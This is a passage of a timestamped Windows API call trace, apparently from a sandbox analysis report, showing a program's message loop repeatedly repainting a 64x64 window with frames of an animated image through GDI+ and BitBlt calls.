GdipReleaseDC (graphics=0x1de4fd10, hdc=0x570106c6) returned 0x0 [0170.006] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffba80dbd) returned 0x0 [0170.006] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.006] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0170.007] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.007] GetSystemMetrics (nIndex=42) returned 0 [0170.007] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.007] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.007] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.007] CoTaskMemFree (pv=0x1e91eca0) [0170.007] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0170.009] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.009] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.009] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.009] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.009] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x570106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.009] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.009] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x570106c6) returned 0x0 [0170.009] SelectObject (hdc=0x570106c6, h=0x185000f) returned 0x1a05067e [0170.010] DeleteDC (hdc=0x570106c6) returned 1 [0170.010] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.010] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.010] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.010] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.010] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.010] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.010] WaitMessage () returned 1 [0170.127] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.127] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.127] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.127] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.127] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.127] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0170.127] GetCurrentThreadId () returned 0xec0 [0170.127] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0170.127] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.127] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.127] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.127] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.127] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.127] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.127] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.128] CreateCompatibleDC (hdc=0x1010b9d) returned 0x580106c6 [0170.128] SelectObject (hdc=0x580106c6, h=0x1a05067e) returned 0x185000f [0170.128] GdipCreateFromHDC (hdc=0x580106c6, graphics=0x15daf0) returned 0x0 [0170.128] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.128] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.128] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.128] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.128] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.128] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.128] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.129] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.129] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.129] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.129] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.129] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0170.129] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.129] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.130] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.130] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.130] GetSystemMetrics (nIndex=42) returned 0 [0170.130] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.130] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.130] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.130] CoTaskMemFree (pv=0x1e91eca0) [0170.130] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.130] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.130] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.130] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.130] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.130] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.130] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.130] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.131] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.131] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0170.131] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.131] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.132] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.132] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.132] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.132] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.132] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.133] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.133] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.133] GetCurrentObject (hdc=0x580106c6, type=0x1) returned 0x1b00017 [0170.133] GetCurrentObject (hdc=0x580106c6, type=0x2) returned 0x1900010 [0170.133] GetCurrentObject (hdc=0x580106c6, type=0x7) returned 0x1a05067e [0170.133] GetCurrentObject (hdc=0x580106c6, type=0x6) returned 0x18a002e [0170.133] SaveDC (hdc=0x580106c6) returned 1 [0170.133] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x480407c3 [0170.133] GetClipRgn (hdc=0x580106c6, hrgn=0x480407c3) returned 0 [0170.134] SelectClipRgn (hdc=0x580106c6, hrgn=0x18040b8a) returned 2 [0170.134] DeleteObject (ho=0x480407c3) returned 1 [0170.134] DeleteObject (ho=0x18040b8a) returned 1 [0170.134] OffsetViewportOrgEx (in: hdc=0x580106c6, x=0, y=0, lppt=0x2742bc8 | out: lppt=0x2742bc8) returned 1 [0170.134] GetNearestColor (hdc=0x580106c6, color=0xffffff) returned 0xffffff [0170.134] CreateSolidBrush (color=0xffffff) returned 0x20100190 [0170.134] FillRect (hDC=0x580106c6, lprc=0x15d7c0, hbr=0x20100190) returned 1 [0170.134] DeleteObject (ho=0x20100190) returned 1 [0170.134] RestoreDC (hdc=0x580106c6, nSavedDC=-1) returned 1 [0170.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.135] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x580106c6) returned 0x0 [0170.135] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffba60dbd) returned 0x0 [0170.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.135] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0170.135] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.135] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.135] GetSystemMetrics (nIndex=42) returned 0 [0170.135] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.135] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.135] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.135] CoTaskMemFree (pv=0x1e91eca0) [0170.135] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.135] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.136] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.136] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.136] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x580106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.136] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.136] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x580106c6) returned 0x0 [0170.136] SelectObject (hdc=0x580106c6, h=0x185000f) returned 0x1a05067e [0170.136] DeleteDC (hdc=0x580106c6) returned 1 [0170.136] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.136] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.136] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.137] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.137] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.137] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.137] WaitMessage () returned 1 [0170.278] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.278] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.278] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.278] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.278] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.278] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0170.278] GetCurrentThreadId () returned 0xec0 [0170.278] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0170.279] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.279] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.279] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.279] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.279] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.279] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.279] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.279] CreateCompatibleDC (hdc=0x1010b9d) returned 0x590106c6 [0170.279] SelectObject (hdc=0x590106c6, h=0x1a05067e) returned 0x185000f [0170.279] GdipCreateFromHDC (hdc=0x590106c6, graphics=0x15daf0) returned 0x0 [0170.288] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.288] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.289] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.289] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.289] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.289] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.289] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.289] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.289] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.290] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.290] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.290] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0170.290] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.290] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.290] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.290] GetSystemMetrics (nIndex=42) returned 0 [0170.290] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.290] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.290] CoTaskMemFree (pv=0x1e91eca0) [0170.290] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.291] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.291] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.291] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.291] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.291] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.291] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.291] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.292] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.292] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0170.292] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.292] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.292] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.292] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.292] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.292] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.292] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.293] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.293] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.293] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.293] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.293] GetCurrentObject (hdc=0x590106c6, type=0x1) returned 0x1b00017 [0170.293] GetCurrentObject (hdc=0x590106c6, type=0x2) returned 0x1900010 [0170.293] GetCurrentObject (hdc=0x590106c6, type=0x7) returned 0x1a05067e [0170.293] GetCurrentObject (hdc=0x590106c6, type=0x6) returned 0x18a002e [0170.294] SaveDC (hdc=0x590106c6) returned 1 [0170.294] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x19040b8a [0170.294] GetClipRgn (hdc=0x590106c6, hrgn=0x19040b8a) returned 0 [0170.294] SelectClipRgn (hdc=0x590106c6, hrgn=0x490407c3) returned 2 [0170.294] DeleteObject (ho=0x19040b8a) returned 1 [0170.294] DeleteObject (ho=0x490407c3) returned 1 [0170.294] OffsetViewportOrgEx (in: hdc=0x590106c6, x=0, y=0, lppt=0x2743500 | out: lppt=0x2743500) returned 1 [0170.294] GetNearestColor (hdc=0x590106c6, color=0xffffff) returned 0xffffff [0170.295] CreateSolidBrush (color=0xffffff) returned 0x21100190 [0170.295] FillRect (hDC=0x590106c6, lprc=0x15d7c0, hbr=0x21100190) returned 1 [0170.295] DeleteObject (ho=0x21100190) returned 1 [0170.295] RestoreDC (hdc=0x590106c6, nSavedDC=-1) returned 1 [0170.295] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.295] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x590106c6) returned 0x0 [0170.295] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffba40dbd) returned 0x0 [0170.295] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.295] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0170.295] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.295] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.296] GetSystemMetrics (nIndex=42) returned 0 [0170.296] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.296] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.296] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.296] CoTaskMemFree (pv=0x1e91eca0) [0170.296] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0170.298] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.298] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.298] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.298] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.298] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x590106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.299] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x590106c6) returned 0x0 [0170.299] SelectObject (hdc=0x590106c6, h=0x185000f) returned 0x1a05067e [0170.299] DeleteDC (hdc=0x590106c6) returned 1 [0170.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.299] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.299] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.299] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.299] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.299] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.299] WaitMessage () returned 1 [0170.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.481] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.481] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.481] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.481] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.481] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0170.481] GetCurrentThreadId () returned 0xec0 [0170.481] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0170.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.482] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.482] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.482] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.482] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.482] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.482] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.482] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5a0106c6 [0170.482] SelectObject (hdc=0x5a0106c6, h=0x1a05067e) returned 0x185000f [0170.482] GdipCreateFromHDC (hdc=0x5a0106c6, graphics=0x15daf0) returned 0x0 [0170.482] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.483] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.483] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.483] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.483] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.483] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.483] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.484] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.484] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.484] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.484] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.484] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0170.484] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.484] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.484] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.484] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.484] GetSystemMetrics (nIndex=42) returned 0 [0170.484] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.484] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.484] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.485] CoTaskMemFree (pv=0x1e91eca0) [0170.485] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.485] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.485] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.485] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.485] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.485] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.485] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.486] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.486] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0170.486] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.486] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.486] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.486] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.486] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.487] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.487] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.487] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.487] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.487] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.487] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.487] GetCurrentObject (hdc=0x5a0106c6, type=0x1) returned 0x1b00017 [0170.487] GetCurrentObject (hdc=0x5a0106c6, type=0x2) returned 0x1900010 [0170.487] GetCurrentObject (hdc=0x5a0106c6, type=0x7) returned 0x1a05067e [0170.487] GetCurrentObject (hdc=0x5a0106c6, type=0x6) returned 0x18a002e [0170.487] SaveDC (hdc=0x5a0106c6) returned 1 [0170.487] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4a0407c3 [0170.487] GetClipRgn (hdc=0x5a0106c6, hrgn=0x4a0407c3) returned 0 [0170.488] SelectClipRgn (hdc=0x5a0106c6, hrgn=0x1a040b8a) returned 2 [0170.488] DeleteObject (ho=0x4a0407c3) returned 1 [0170.488] DeleteObject (ho=0x1a040b8a) returned 1 [0170.488] OffsetViewportOrgEx (in: hdc=0x5a0106c6, x=0, y=0, lppt=0x27447f8 | out: lppt=0x27447f8) returned 1 [0170.488] GetNearestColor (hdc=0x5a0106c6, color=0xffffff) returned 0xffffff [0170.488] CreateSolidBrush 